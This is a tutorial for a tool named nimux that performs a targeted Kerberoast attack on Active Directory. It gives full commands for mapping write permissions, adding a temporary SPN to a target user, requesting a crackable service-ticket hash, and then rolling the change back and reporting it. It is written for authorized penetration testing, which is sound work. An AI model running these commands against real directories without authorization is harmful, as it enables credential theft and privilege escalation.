Targeted Kerberoast with nimux

Overview

Targeted Kerberoast paths appear when a principal can write a service principal name on another account. The risk is simple: if an operator can add a temporary SPN to a target user, request a service ticket, and remove the SPN, the target account may become roastable even if it did not originally expose an SPN.

This article describes the workflow with neutral names and nimux commands only. It is for authorized validation where the rules of engagement allow LDAP writes and ticket requests.

Identify the permission path

Start with ACL and BloodHound style collection. The goal is to understand whether the operator principal has a write path to the target account, not to modify anything yet.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --acl \
  --user target.user \
  --json > target-user-acl.jsonl

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --bloodhound \
  --bloodhound-out bloodhound-output

Look for rights that allow servicePrincipalName modification, such as a specific WriteSPN edge or a broader write right that includes the attribute.

Dry-run the write

If the source account can write the target SPN, dry-run the change first. Use a harmless SPN value that is unique to the test and easy to identify.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --make-kerberoast \
  --user target.user \
  --spn HTTP/scoped-validation.corp.local \
  --dry-run \
  --rollback-out targeted-roast-rollback.jsonl

Dry-run output is important evidence. It shows the intended mutation without changing the directory.

Request the roastable ticket

When the write is approved, perform the temporary SPN workflow and request the Kerberoast material.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --make-kerberoast \
  --user target.user \
  --spn HTTP/scoped-validation.corp.local \
  --rollback-out targeted-roast-rollback.jsonl

Then request the service ticket hash through the Kerberos command surface:

nimux kerberos dc01.corp.local -d corp.local -u operator -p '<password>' \
  --request kerberoast \
  --user target.user \
  --service HTTP/scoped-validation.corp.local \
  --out targeted-roast.hash

If your workflow uses an existing ccache, keep it explicit:

nimux kerberos dc01.corp.local -d corp.local \
  --request kerberoast \
  --ccache operator.ccache \
  --user target.user \
  --service HTTP/scoped-validation.corp.local \
  --out targeted-roast.hash

Roll back the SPN

The SPN must not be left behind. If the command produced rollback records, keep them with the evidence and remove the temporary SPN as soon as validation is complete.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --modify \
  --dn 'CN=Target User,OU=Users,DC=corp,DC=local' \
  --delete servicePrincipalName=HTTP/scoped-validation.corp.local

Validate that the attribute no longer contains the test SPN:

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=target.user)' \
  --attrs servicePrincipalName

Reporting

A strong report explains the permission relationship:

> The tested principal could write a temporary SPN to the target account and request a Kerberos service ticket for that SPN. This creates a targeted Kerberoast path. The temporary SPN was removed after validation.

Include the target account, source principal, attribute touched, SPN value used, rollback status, and whether any hash material was stored or redacted.